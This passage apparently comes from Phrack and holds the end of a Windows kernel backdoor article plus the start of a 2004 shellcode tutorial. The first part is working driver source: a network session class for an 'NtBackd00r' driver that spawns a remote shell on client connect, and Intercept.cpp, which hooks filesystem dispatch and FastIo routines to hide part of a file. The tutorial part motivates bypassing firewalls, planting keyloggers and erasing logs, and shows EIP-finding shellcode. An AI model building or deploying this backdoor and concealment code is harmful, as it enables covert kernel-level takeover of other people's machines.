m_WorkItemDesc = ExAllocatePool(NonPagedPool, sizeof s_WorkItemDesc); #define pWorkItemDesc ((s_WorkItemDesc*)m_WorkItemDesc) pWorkItemDesc‑>WorkItemCanceled=false; pWorkItemDesc‑>thiz=this; pWorkItemDesc‑>WorkItem=IoAllocateWorkItem(*p‑>m_pDummyDevice); if (!pWorkItemDesc‑>WorkItem) return FALSE;

//To make this work on NT4 replace IoQueueWorkItem with ExQueueWorkItem

IoQueueWorkItem(pWorkItemDesc‑>WorkItem, &ShellStarter, CriticalWorkQueue, pWorkItemDesc); #undef pWorkItemDesc

// Add this object to the session list maintained by the driver

p‑>m_ActiveSessionList.InsertTail(this);

UNREFERENCED_PARAMETERS4(AddressLength, pTA, OptionsLength, Options); return TRUE;

}

void Session::OnDisconnect(uint OptionsLength, PVOID Options, BOOLEAN bAbort) {

dprintf("NtBackd00rDevice: Disconnecting client, session %8X\n", this);

UNREFERENCED_PARAMETERS3(OptionsLength, Options,bAbort);

}

Session::~Session()

{

// obtain a pointer to the KDriver derived class

NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver::DriverInstance()); ASSERT(p);

// Remove this object from the session list maintained by the driver

p‑>m_ActiveSessionList.Remove(this);

//Set flas, that make thread to terminate

m_Pipes‑>Terminating = true;

//To not wait for yesterday in OnUnload

hDataPumpThread = NULL;

//Set event "let's finish"

if ( m_Pipes && (m_Pipes‑>hPipeEvents[0])) ZwSetEvent(m_Pipes‑>hPipeEvents[0], NULL);

//If WorkItem works, notify it about termination

if (m_WorkItemDesc) ((s_WorkItemDesc*)m_WorkItemDesc)‑>WorkItemCanceled=true;

delete pWBytePipe;

}

uint Session::OnReceive(uint Indicated, uchar *Data, uint Available,

uchar **RcvBuffer, uint* RcvBufferLen)

{

// Received some data from the client peer.

//If all required pointers and handles are valid

if (m_Pipes && pWBytePipe && m_Pipes‑>hPipe)

{

//Write that data to FIFO

pWBytePipe‑>LockedWrite(Data, Indicated); //And notify DataPumpThread

ZwSetEvent(m_Pipes‑>hPipeEvents[0], NULL); }

// Now, if the transport has more data available than indicated,

// allocate another buffer to read the rest. When the transport

// done with it ‑ asynchronously ‑ our OnReceiveComplete() handler

// is called. Note that failure to submit a buffer supressed further

// recieve indications ‑ until and if a recv() is issued.

if (Indicated < Available) {

*RcvBuffer = new(NonPagedPool) uchar [*RcvBufferLen = Available‑Indicated]; }

return Indicated;

}

void Session::OnSendComplete(PVOID buf, TDI_STATUS status, uint bytecnt) {

// Our send request has completed. Free the buffer

if (status != TDI_SUCCESS) dprintf("NtBackd00rDevice: Failed sending data, err %X\n", status); //free the buffer

delete ((uchar*)buf);

UNREFERENCED_PARAMETER(bytecnt);

}

void Session::OnReceiveComplete(TDI_STATUS status, uint Indicated, uchar *Data) {

// Buffer for the partially indicated data allocated and submitted during

// OnReceive() processing is filled in by the transport.

if (status == TDI_SUCCESS) {

if (m_Pipes && pWBytePipe && m_Pipes‑>hPipe) {

//Write that data to FIFO

pWBytePipe‑>LockedWrite(Data, Indicated); //And notify DataPumpThread

ZwSetEvent(m_Pipes‑>hPipeEvents[0], NULL); }

} else

dprintf("NtBackd00rDevice: Failed completing receive, err %X\n", status);

if (status != TDI_PENDING)

delete Data;

}

// end of file

‑‑‑[ 8.10 ‑ Intercept.cpp

//This module hooks:

// IRP_MJ_READ, IRP_MJ_WRITE, IRP_MJ_QUERY_INFORMATION,

// IRP_MJ_SET_INFORMATION, IRP_MJ_DIRECTORY_CONTROL,

// FASTIO_QUERY_STANDARD_INFO FASTIO_QUERY_BASIC_INFO FASTIO_READ(WRITE)

//to hide first N bytes of given file

extern "C" {

#include <ntddk.h>

}

#pragma hdrstop("InterceptIO.pch")

////////////////////////////////////////

// Undocumented structures missing in ntddk.h

typedef struct _FILE_INTERNAL_INFORMATION { // Information Class 6

LARGE_INTEGER FileId;

} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION;

typedef struct _FILE_EA_INFORMATION { // Information Class 7

ULONG EaInformationLength;

} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION;

typedef struct _FILE_ACCESS_INFORMATION { // Information Class 8

ACCESS_MASK GrantedAccess;

} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION;

typedef struct _FILE_MODE_INFORMATION { // Information Class 16

ULONG Mode;

} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION;

typedef struct _FILE_ALLOCATION_INFORMATION { // Information Class 19

LARGE_INTEGER AllocationSize;

} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION;

typedef struct _FILE_DIRECTORY_INFORMATION {

ULONG NextEntryOffset;

ULONG FileIndex;

LARGE_INTEGER CreationTime;

LARGE_INTEGER LastAccessTime;

LARGE_INTEGER LastWriteTime;

LARGE_INTEGER ChangeTime;

LARGE_INTEGER EndOfFile;

LARGE_INTEGER AllocationSize;

ULONG FileAttributes;

ULONG FileNameLength;

WCHAR FileName[1];

} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_ALL_INFORMATION { // Information Class 18

FILE_BASIC_INFORMATION BasicInformation; FILE_STANDARD_INFORMATION StandardInformation; FILE_INTERNAL_INFORMATION InternalInformation; FILE_EA_INFORMATION EaInformation;

FILE_ACCESS_INFORMATION AccessInformation; FILE_POSITION_INFORMATION PositionInformation; FILE_MODE_INFORMATION ModeInformation; FILE_ALIGNMENT_INFORMATION AlignmentInformation; FILE_NAME_INFORMATION NameInformation;

} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION;

typedef struct tag_QUERY_DIRECTORY

{

ULONG Length;

PUNICODE_STRING FileName;

FILE_INFORMATION_CLASS FileInformationClass;

ULONG FileIndex;

} QUERY_DIRECTORY, *PQUERY_DIRECTORY;

#pragma pack(push, 4)

typedef struct tag_FQD_SmallCommonBlock

{

ULONG NextEntryOffset;

ULONG FileIndex;

} FQD_SmallCommonBlock, *PFQD_SmallCommonBlock;

typedef struct tag_FQD_FILE_ATTR

{

TIME CreationTime;

TIME LastAccessTime;

TIME LastWriteTime;

TIME ChangeTime;

LARGE_INTEGER EndOfFile;

LARGE_INTEGER AllocationSize;

ULONG FileAttributes;

} FQD_FILE_ATTR, *PFQD_FILE_ATTR;

typedef struct tag_FQD_CommonBlock

{

FQD_SmallCommonBlock SmallCommonBlock;

FQD_FILE_ATTR FileAttr;

ULONG FileNameLength;

} FQD_CommonBlock, *PFQD_CommonBlock;

typedef struct _KFILE_DIRECTORY_INFORMATION

{

FQD_CommonBlock CommonBlock;

WCHAR FileName[ANYSIZE_ARRAY];

} KFILE_DIRECTORY_INFORMATION, *PKFILE_DIRECTORY_INFORMATION;

typedef struct _KFILE_FULL_DIR_INFORMATION

{

FQD_CommonBlock CommonBlock;

ULONG EaSize;

WCHAR FileName[ANYSIZE_ARRAY];

} KFILE_FULL_DIR_INFORMATION, *PKFILE_FULL_DIR_INFORMATION;

typedef struct _KFILE_BOTH_DIR_INFORMATION

{

FQD_CommonBlock CommonBlock;

ULONG EaSize;

USHORT ShortFileNameLength;

WCHAR ShortFileName[12];

WCHAR FileName[ANYSIZE_ARRAY];

} KFILE_BOTH_DIR_INFORMATION, *PKFILE_BOTH_DIR_INFORMATION;

#pragma pack(pop)

////////////////////////////////////////

// Global variables

PDRIVER_OBJECT pDriverObject;

PDRIVER_DISPATCH OldReadDisp, OldWriteDisp, OldQueryDisp, OldSetInfoDisp, OldDirCtlDisp; PFAST_IO_READ OldFastIoReadDisp;

PFAST_IO_WRITE OldFastIoWriteDisp; PFAST_IO_QUERY_STANDARD_INFO OldFastIoQueryStandartInfoDisp;

//Size of our file's Invisible Part (in bytes)

ULONG InvisiblePartSize = 10;

//File, part of which we want to hide

wchar_t OurFileName[] = L"testing.fil";

//Size of OurFileName in bytes, excluding null terminator

ULONG OurFileNameLen = sizeof(OurFileName) ‑ sizeof(wchar_t);

////////////////////////////////////////

// Functions

//Function returns true if FN matches OurFileName

bool ThisIsOurFile(PUNICODE_STRING FN)

{

return ((FN‑>Buffer) &&

(FN‑>Length >= OurFileNameLen) && _wcsnicmp((wchar_t*)((char*)FN‑>Buffer + FN‑>Length ‑ OurFileNameLen), OurFileName, OurFileNameLen/2)==0);

}

//Structure used to track IRPs which completion must be handled

struct s_ComplRtnTrack

{

PIO_COMPLETION_ROUTINE CompletionRoutine;

PVOID Context;

//When CompletionRoutine is called, flags corresponds to InvokeOn*

UCHAR Control;

PIO_STACK_LOCATION CISL;

FILE_INFORMATION_CLASS FileInformationClass;

PVOID Buffer;

};

//Function set new CompletionRoutine, InvokeOnSuccess flag,

//and copies original fields to Context

void HookIrpCompletion(PIO_STACK_LOCATION CISL,

PIO_COMPLETION_ROUTINE CompletionRoutine,

PVOID Buffer,

FILE_INFORMATION_CLASS FileInformationClass)

{

s_ComplRtnTrack* NewContext = (s_ComplRtnTrack*)ExAllocatePool(NonPagedPool, sizeof(s_ComplRtnTrack)); NewContext‑>CompletionRoutine = CISL‑>CompletionRoutine; NewContext‑>Context = CISL‑>Context; NewContext‑>Control = CISL‑>Control; NewContext‑>CISL = CISL;

//Since CISL.Parameters unavailabile in IrpCompletion handler,

//let's save all necessary data in Context structure

NewContext‑>FileInformationClass = FileInformationClass; NewContext‑>Buffer = Buffer; CISL‑>CompletionRoutine = CompletionRoutine; CISL‑>Context = NewContext;

CISL‑>Control |= SL_INVOKE_ON_SUCCESS;

}

//Function handles IRP completion

NTSTATUS NewComplRtn (

IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp,

s_ComplRtnTrack* CXT)

{

//Handle different types of IRP

switch (CXT‑>CISL‑>MajorFunction)

{

case IRP_MJ_QUERY_INFORMATION:

_asm int 3;

//ThisIsOurFile is already tested

switch (CXT‑>FileInformationClass) {

//In all cases modify CurrentByteOffset and/or size (EndOfFile)

//to hide first InvisiblePartSize bytes

case FilePositionInformation: ((PFILE_POSITION_INFORMATION)CXT‑>Buffer)‑>CurrentByteOffset.QuadPart ‑= InvisiblePartSize; break;

case FileEndOfFileInformation: ((PFILE_END_OF_FILE_INFORMATION)CXT‑>Buffer)‑>EndOfFile.QuadPart ‑= InvisiblePartSize; break;

case FileStandardInformation: ((PFILE_STANDARD_INFORMATION)CXT‑>Buffer)‑>EndOfFile.QuadPart ‑= InvisiblePartSize; break;

case FileAllocationInformation: ((PFILE_ALLOCATION_INFORMATION)CXT‑>Buffer)‑>AllocationSize.QuadPart ‑= InvisiblePartSize; break;

case FileAllInformation: ((PFILE_ALL_INFORMATION)CXT‑>Buffer)‑>PositionInformation.CurrentByteOffset.QuadPart ‑= InvisiblePartSize; ((PFILE_ALL_INFORMATION)CXT‑>Buffer)‑>StandardInformation.EndOfFile.QuadPart ‑= InvisiblePartSize; break;

}

case IRP_MJ_DIRECTORY_CONTROL:

//Get a pointer to first directory entries

PFQD_SmallCommonBlock pQueryDirWin32 = (PFQD_SmallCommonBlock)CXT‑>Buffer; //Cycle through directory entries

while (1)

{

PWCHAR pFileName = 0; ULONG dwFileNameLength = 0; switch (CXT‑>FileInformationClass) {

//In all cases get pointer to FileName and FileNameLength

case FileDirectoryInformation:

dwFileNameLength = ((PKFILE_DIRECTORY_INFORMATION)pQueryDirWin32)‑>CommonBlock.FileNameLength;

pFileName = ((PKFILE_DIRECTORY_INFORMATION)pQueryDirWin32)‑>FileName;

break;

case FileFullDirectoryInformation:

dwFileNameLength = ((PKFILE_FULL_DIR_INFORMATION)pQueryDirWin32)‑>CommonBlock.FileNameLength;

pFileName = ((PKFILE_FULL_DIR_INFORMATION)pQueryDirWin32)‑>FileName;

break;

case FileBothDirectoryInformation:

dwFileNameLength = ((PKFILE_BOTH_DIR_INFORMATION)pQueryDirWin32)‑>CommonBlock.FileNameLength;

pFileName = ((PKFILE_BOTH_DIR_INFORMATION)pQueryDirWin32)‑>FileName;

break;

}

//_asm int 3;

//Is this file that we want?

if ((dwFileNameLength == OurFileNameLen) &&

_wcsnicmp(pFileName, OurFileName, OurFileNameLen/2)==0)

{

//_asm int 3;

//Hide first InvisiblePartSize bytes

((PFQD_CommonBlock)pQueryDirWin32)‑>FileAttr.EndOfFile.QuadPart ‑= InvisiblePartSize;

break;

}

//Quit if no more directory entries

if (!pQueryDirWin32‑>NextEntryOffset) break; //Continue with next directory entry

pQueryDirWin32 = (PFQD_SmallCommonBlock)((CHAR*)pQueryDirWin32 + pQueryDirWin32‑>NextEntryOffset); }

}

//If appropriate Control flag was set,...

if (

((CXT‑>Control == SL_INVOKE_ON_SUCCESS)&&(NT_SUCCESS(Irp‑>IoStatus.Status))) || ((CXT‑>Control == SL_INVOKE_ON_ERROR)&&(NT_ERROR(Irp‑>IoStatus.Status))) || ((CXT‑>Control == SL_INVOKE_ON_CANCEL)&&(Irp‑>IoStatus.Status == STATUS_CANCELLED)) ) //...call original CompletionRoutine

return CXT‑>CompletionRoutine( DeviceObject,

Irp,

CXT‑>Context);

else return STATUS_SUCCESS;

}

//Filename IRP handler deal with

#define FName &(CISL‑>FileObject‑>FileName)

//Function handles IRP_MJ_READ and IRP_MJ_WRITE

NTSTATUS NewReadWriteDisp (

IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp)

{

//_asm int 3;

PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp); if (CISL‑>FileObject &&

//Don't mess with swaping

!(Irp‑>Flags & IRP_PAGING_IO) && !(Irp‑>Flags & IRP_SYNCHRONOUS_PAGING_IO)) {

if (ThisIsOurFile(FName))

{

//_asm int 3;

CISL‑>Parameters.Write.ByteOffset.QuadPart += InvisiblePartSize; //Write and Read has the same structure, thus handled together

}

}

//Call corresponding original handler

switch (CISL‑>MajorFunction)

{

case IRP_MJ_READ:

return OldReadDisp(DeviceObject, Irp); case IRP_MJ_WRITE:

return OldWriteDisp(DeviceObject, Irp);

}

}

//Function handles IRP_MJ_QUERY_INFORMATION

NTSTATUS NewQueryDisp (

IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp)

{

//_asm int 3;

PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp); if ((CISL‑>MajorFunction == IRP_MJ_QUERY_INFORMATION) && ThisIsOurFile(FName))

{

//_asm int 3;

switch (CISL‑>Parameters.QueryFile.FileInformationClass) {

//Information types that contains file size or current offset

case FilePositionInformation:

case FileEndOfFileInformation: case FileStandardInformation:

case FileAllocationInformation: case FileAllInformation: //_asm int 3;

HookIrpCompletion(CISL, (PIO_COMPLETION_ROUTINE)NewComplRtn, Irp‑>AssociatedIrp.SystemBuffer, CISL‑>Parameters.QueryFile.FileInformationClass); }

}

//Call original handler

return OldQueryDisp(DeviceObject, Irp);

}

//Function handles IRP_MJ_SET_INFORMATION

NTSTATUS NewSetInfoDisp (

IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp)

{

//_asm int 3;

PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp); if (CISL‑>FileObject && ThisIsOurFile(FName))

{

//_asm int 3;

switch (CISL‑>Parameters.QueryFile.FileInformationClass) {

//Information types that contains file size or current offset.

//In all cases modify CurrentByteOffset and/or size (EndOfFile)

//to hide first InvisiblePartSize bytes

case FilePositionInformation: ((PFILE_POSITION_INFORMATION)Irp‑>AssociatedIrp.SystemBuffer)‑>CurrentByteOffset.QuadPart += InvisiblePartSize; break;

case FileEndOfFileInformation: ((PFILE_END_OF_FILE_INFORMATION)Irp‑>AssociatedIrp.SystemBuffer)‑>EndOfFile.QuadPart += InvisiblePartSize; break;

case FileStandardInformation: ((PFILE_STANDARD_INFORMATION)Irp‑>AssociatedIrp.SystemBuffer)‑>EndOfFile.QuadPart += InvisiblePartSize; break;

case FileAllocationInformation: //_asm int 3;

((PFILE_ALLOCATION_INFORMATION)Irp‑>AssociatedIrp.SystemBuffer)‑>AllocationSize.QuadPart += InvisiblePartSize; break;

case FileAllInformation: ((PFILE_ALL_INFORMATION)Irp‑>AssociatedIrp.SystemBuffer)‑>PositionInformation.CurrentByteOffset.QuadPart += InvisiblePartSize; ((PFILE_ALL_INFORMATION)Irp‑>AssociatedIrp.SystemBuffer)‑>StandardInformation.EndOfFile.QuadPart += InvisiblePartSize; break;

}

}

//Call original handler

return OldSetInfoDisp(DeviceObject, Irp);

}

//Function handles IRP_MJ_DIRECTORY_CONTROL

NTSTATUS NewDirCtlDisp (

IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp)

{

void *pBuffer;

PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp); //_asm int 3;

if ((CISL‑>MajorFunction == IRP_MJ_DIRECTORY_CONTROL) && (CISL‑>MinorFunction == IRP_MN_QUERY_DIRECTORY)) {

//Handle both ways of passing user supplied buffer

if (Irp‑>MdlAddress) pBuffer = MmGetSystemAddressForMdl(Irp‑>MdlAddress); else

pBuffer = Irp‑>UserBuffer; HookIrpCompletion(CISL, (PIO_COMPLETION_ROUTINE)NewComplRtn, pBuffer, ((PQUERY_DIRECTORY)(&CISL‑>Parameters))‑>FileInformationClass); }

//Call original handler

return OldDirCtlDisp(DeviceObject, Irp);

}

#undef FName

//Function handles FastIoRead

BOOLEAN NewFastIoRead(

IN PFILE_OBJECT FileObject,

IN PLARGE_INTEGER FileOffset,

IN ULONG Length,

IN BOOLEAN Wait,

IN ULONG LockKey,

OUT PVOID Buffer,

OUT PIO_STATUS_BLOCK IoStatus,

IN PDEVICE_OBJECT DeviceObject

)

{

LARGE_INTEGER NewFileOffset;

//_asm int 3;

if ((FileObject) && (ThisIsOurFile(&FileObject‑>FileName))) {

//_asm int 3;

//Modify FileOffset to hide first InvisiblePartSize bytes

NewFileOffset.QuadPart = FileOffset‑>QuadPart + InvisiblePartSize; return OldFastIoReadDisp(FileObject, &NewFileOffset, Length, Wait, LockKey, Buffer, IoStatus, DeviceObject);

}

//Call original handler

return OldFastIoReadDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer, IoStatus, DeviceObject);

}

//Function handles FastIoWrite

BOOLEAN NewFastIoWrite(

IN PFILE_OBJECT FileObject,

IN PLARGE_INTEGER FileOffset,

IN ULONG Length,

IN BOOLEAN Wait,

IN ULONG LockKey,

OUT PVOID Buffer,

OUT PIO_STATUS_BLOCK IoStatus,

IN PDEVICE_OBJECT DeviceObject

{

LARGE_INTEGER NewFileOffset;

//_asm int 3;

if ((FileObject) && (ThisIsOurFile(&FileObject‑>FileName))) {

//_asm int 3;

//Modify FileOffset to hide first InvisiblePartSize bytes

NewFileOffset.QuadPart = FileOffset‑>QuadPart + InvisiblePartSize; return OldFastIoWriteDisp(FileObject, &NewFileOffset, Length, Wait, LockKey, Buffer, IoStatus, DeviceObject);

}

return OldFastIoWriteDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer, IoStatus, DeviceObject);

}

//Function handles FastIoQueryStandartInfo

BOOLEAN NewFastIoQueryStandartInfo(

IN struct _FILE_OBJECT *FileObject,

IN BOOLEAN Wait,

OUT PFILE_STANDARD_INFORMATION Buffer,

OUT PIO_STATUS_BLOCK IoStatus,

IN struct _DEVICE_OBJECT *DeviceObject

{

//Call original handler

BOOLEAN status = OldFastIoQueryStandartInfoDisp(FileObject, Wait, Buffer, IoStatus, DeviceObject); if ((FileObject) && (ThisIsOurFile(&FileObject‑>FileName))) {

//_asm int 3;

//Modify EndOfFile to hide first InvisiblePartSize bytes

Buffer‑>EndOfFile.QuadPart ‑= InvisiblePartSize; }

return status;

}

extern "C"

NTSYSAPI

NTSTATUS

NTAPI

ObReferenceObjectByName(

IN PUNICODE_STRING ObjectPath,

IN ULONG Attributes,

IN PACCESS_STATE PassedAccessState OPTIONAL,

IN ACCESS_MASK DesiredAccess OPTIONAL,

IN POBJECT_TYPE ObjectType,

IN KPROCESSOR_MODE AccessMode,

IN OUT PVOID ParseContext OPTIONAL,

OUT PVOID *ObjectPtr

extern "C" PVOID IoDriverObjectType;

//Function hooks given dispatch function (MajorFunction)

VOID InterceptFunction(UCHAR MajorFunction,

PDRIVER_OBJECT pDriverObject,

OPTIONAL PDRIVER_DISPATCH *OldFunctionPtr,

OPTIONAL PDRIVER_DISPATCH NewFunctionPtr)

{

PDRIVER_DISPATCH *TargetFn;

TargetFn = &(pDriverObject‑>MajorFunction[MajorFunction]); //hook only if handler exists

if (*TargetFn)

{

if (OldFunctionPtr) *OldFunctionPtr = *TargetFn; if (NewFunctionPtr) *TargetFn = NewFunctionPtr; }

}

//Function hooks given driver's dispatch functions

NTSTATUS Intercept(PWSTR pwszDeviceName)

{

UNICODE_STRING DeviceName;

NTSTATUS status;

KIRQL OldIrql;

_asm int 3;

pDriverObject = NULL;

RtlInitUnicodeString(&DeviceName, pwszDeviceName); status = ObReferenceObjectByName(&DeviceName, OBJ_CASE_INSENSITIVE, NULL, 0, (POBJECT_TYPE)IoDriverObjectType, KernelMode, NULL, (PVOID*)&pDriverObject); if (pDriverObject)

{

//Raise IRQL to avoid context switch

//when some pointer is semi‑modified

KeRaiseIrql(HIGH_LEVEL, &OldIrql); //hook dispatch functions

InterceptFunction(IRP_MJ_READ, pDriverObject, &OldReadDisp, NewReadWriteDisp); InterceptFunction(IRP_MJ_WRITE, pDriverObject, &OldWriteDisp, NewReadWriteDisp); InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject, &OldQueryDisp, NewQueryDisp); InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject, &OldSetInfoDisp, NewSetInfoDisp); InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, &OldDirCtlDisp, NewDirCtlDisp); //hook FastIo dispatch functions if FastIo table exists

if (pDriverObject‑>FastIoDispatch) {

// w2k [rus]

//It would be better to copy FastIo table to avoid

//messing with kernel memory protection, but it works as it is

OldFastIoReadDisp = pDriverObject‑>FastIoDispatch‑>FastIoRead; pDriverObject‑>FastIoDispatch‑>FastIoRead = NewFastIoRead; OldFastIoWriteDisp = pDriverObject‑>FastIoDispatch‑>FastIoWrite; pDriverObject‑>FastIoDispatch‑>FastIoWrite = NewFastIoWrite; OldFastIoQueryStandartInfoDisp = pDriverObject‑>FastIoDispatch‑>FastIoQueryStandardInfo; pDriverObject‑>FastIoDispatch‑>FastIoQueryStandardInfo = NewFastIoQueryStandartInfo; }

KeLowerIrql(OldIrql);

}

return status;

}

//Function cancels hooking

VOID UnIntercept()

{

KIRQL OldIrql;

if (pDriverObject)

{

KeRaiseIrql(HIGH_LEVEL, &OldIrql); InterceptFunction(IRP_MJ_READ, pDriverObject, NULL, OldReadDisp); InterceptFunction(IRP_MJ_WRITE, pDriverObject, NULL, OldWriteDisp); InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject, NULL, OldQueryDisp); InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject, NULL, OldSetInfoDisp); InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, NULL, OldDirCtlDisp); if (pDriverObject‑>FastIoDispatch) { pDriverObject‑>FastIoDispatch‑>FastIoRead = OldFastIoReadDisp; pDriverObject‑>FastIoDispatch‑>FastIoWrite = OldFastIoWriteDisp; pDriverObject‑>FastIoDispatch‑>FastIoQueryStandardInfo = OldFastIoQueryStandartInfoDisp; }

KeLowerIrql(OldIrql); ObDereferenceObject(pDriverObject);

}

}

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Advances in Windows Shellcode

==Phrack Inc.==

Volume 0xXX, Issue 0x3e, Phile #0x07 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑=[ History and Advances in Windows Shellcode ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ sk <sk at scan‑associates d0t net> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ June 22nd, 2004 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1. Abstract

2. Introduction to shellcode

a. Why shellcode?

b. Windows shellcode skeleton

i. Getting EIP

ii. Decoder

iii. Getting address of required function

iv. Locating Kernel32 base memory

v. Getting GetProcAddress()

vi. Getting other functions by name

vii. Spawning a shell

c. Compiling our shellcode

3. The connection

a. Bind to port shellcode

i. Bind to port shellcode implementation

ii. Problem with Bind to port shellcode

b. Reverse connect

i. Reverse connect shellcode implementation

ii. Problem with reverse connect shellcode

4. One‑way shellcode

a. Find socket shellcode

i. Problem with find socket shellcode

b. Reuse address shellcode

i. Reuse address shellcode implementation

ii. Problem with reuse address shellcode

c. Rebind socket

i. Rebind socket shellcode implementation

d. Other one‑way shellcode

5. Transferring file using shellcode

a. Uploading file with debug.exe

b. Uploading file with VBS

c. Retrieving file from command line

6. Avoiding IDS detection

7. Restarting vulnerable service

8. End of shellcode?

9. Greetz!

10. References

11. The code

‑‑[ 1. Abstract

Firewall is everywhere in the Internet now. Most of the exploits released in the public have little concern over firewall rules because they are just proof of concept. In real world, we would encounter targets with firewall that will make exploitation harder. We need to overcome these obstacles for a successful penetration testing job. The research of this paper started when we need to take over (own) a machine which is heavily protected with rigid firewall rules. Although we can reach the vulnerable service but the strong firewall rules between us and the server hinder all standard exploits useless.

The objective of the research is to find alternative ways which allow penetration tester to take control of a machine after a successful buffer overflow. A successful buffer overflow in a sense that it will eventually leads to arbitrary code execution. These alternative mechanisms should succeed where others fail even in the most rigid firewall rules.

In our research to find a way to by pass these troublesome firewall rules, we looked into various existing techniques used by exploits in the public and why they fail. Then, we found several mechanisms that will work, but dependence to the vulnerable service. Although we can take over the server using these techniques, we take one step further to develop a more generic technique which is not dependence to any service and can be reuse in most other buffer overflows.

This paper will start with dissection on a standard Win32 shellcode as an introduction. We will then explore the techniques being used by proof of concept codes to allow attacker to control the target and their limitations. Then, we will introduce a few alternatives techniques which we call "One‑way shellcode" and how they may by pass firewall rules. Finally, we also discussed on a possible way to transfer file from command line without breaking the firewall rule.

‑‑[ 2. Introduction to shellcode

An exploit usually consists of two major components:

1.Exploitation technique

2.Payload

The objective of the exploitation part is to divert the execution path of the vulnerable program. We can achieve that via one of these techniques:

*Stack‑based Buffer Overflow

*Heap‑based Buffer Overflow

*Format String

*Integer Overflow

*Memory corruption, etc

Even though we may use one or more of those exploitation techniques to control the execution path of a program, each vulnerability need to be exploited differently. Every vulnerability has different way to trigger the bug. We may use different buffer size or character set to trigger the overflow. Although we can probably use the same technique for vulnerabilities in the same class, we cannot use the same code.

Once we control of the execution path, we probably want it to execute our code. Thus, we need to include these code or instruction set in our exploit. The part of code which allows us to execute arbitrary code is known as payload. The payload can virtually do everything a computer program can do with the permission of the vulnerable service.

A payload that spawns you a shell is known as a shellcode. It allows interactive command execution. Unlike Exploitation technique, a well designed shellcode can easily be reused in other exploits. We will try to build shellcode that can be reused. A basic requirement of a shellcode is the shell and a connection that allow use to use it interactively.

‑‑[ 2.a Why shellcode?

Why shellcode? Simply because it is the simplest way that allows the attacker to explore the target system interactively. It might give the attacker the ability to discover internal network, to further penetrate into other computers. A simple "net view /domain" command in Windows box would review many other easy targets.

A shell may also allow upload/download file/database, which is usually needed as proof of successful pen‑test. You also may easily install trojan horse, key logger, sniffer, Enterprise worm, WinVNC, etc. An Enterprise Worm could be a computer worm which was written specifically to infect other machine in the same domain using the credential of the primary domain controller.

A shell is also useful to restart the vulnerable services. This will keep the service running and your client happy. But more importantly, restarting the vulnerable service usually allow us to attack the service again. We also may clean up traces like log files and events with a shell. There are just many other possibilities.

However, spawning a shell is not the only thing you can do in your payload. As demonstrated by LSD in their Win32 ASM component, you can create a payload that loop and wait for command from the attacker. The attacker could issue a command to the payload to create new connection, upload/download file or spawn a shell. There are also a few others payload strategies in which the payload will loop and wait for additional payload from the attacker.

Regardless whether a payload is spawning a shell or loop to wait for instructions, it still needs to communicate with the attacker. Although we are using payload that spawns a shell throughout this article, the mechanisms being use for communication can be use in other payload strategy.

‑‑[ 2.b Windows shellcode skeleton

Shellcode usually start by getting to know where you are during the execution by grapping the EIP value. And then, a decoding process will take place. The process will then jump into the decoded memory area where execution can continue. Before we can do anything useful, we need to find addresses of all functions and API that we need to use in the shellcode. With that, we can setup a socket, and finally spawn a shell.

*Getting EIP

*Decoder

*Getting addresses of required functions

*Setup socket

*Spawning shell

Let's look into what these components suppose to do, in greater detail.

‑‑[ 2.b.i Getting EIP

We would like to make our shellcode as reusable as possible. For that, we will avoid using any fixed address which could change in different environment. We will use relative addressing as much as we could. To start with, we need to know where we are in the memory. This address will be our base address. Any variable or function in the shellcode will be relative to this address. To get this address, we can use a CALL and a POP instruction. As we already know, whenever we are calling a function, the return value is push into the stack just before the function is called. So, if the first thing we do in the function is a POP command, we will obtain the return value in a register. As shown below, EAX will be 451005.

450000:

label1:pop eax

450005: ... (eax = 451005)

451000: call label1;start here!

451005:

Most likely you will find something similar to the code below in a shellcode, which does about the same thing.

450000: jmp label1

450002:

label2: jmp cont

450004:

label1: call label2

450009:

cont: pop eax

... (eax = 450009)

Another interesting mechanism being use to obtain the EIP is to make use of a few special FPU instructions. This was implemented by Aaron Adams in Vuln‑Dev mailing list in the discussion to create pure ASCII shellcode. The code uses fnstenv/fstenv instructions to save the state of the FPU environment.

fldz

fnstenv [esp‑12]

pop ecx

add cl, 10

nop

ECX will hold the address of the EIP. However, these instructions will generate non‑standard ASCII characters.

‑‑[ 2.b.ii Decoder

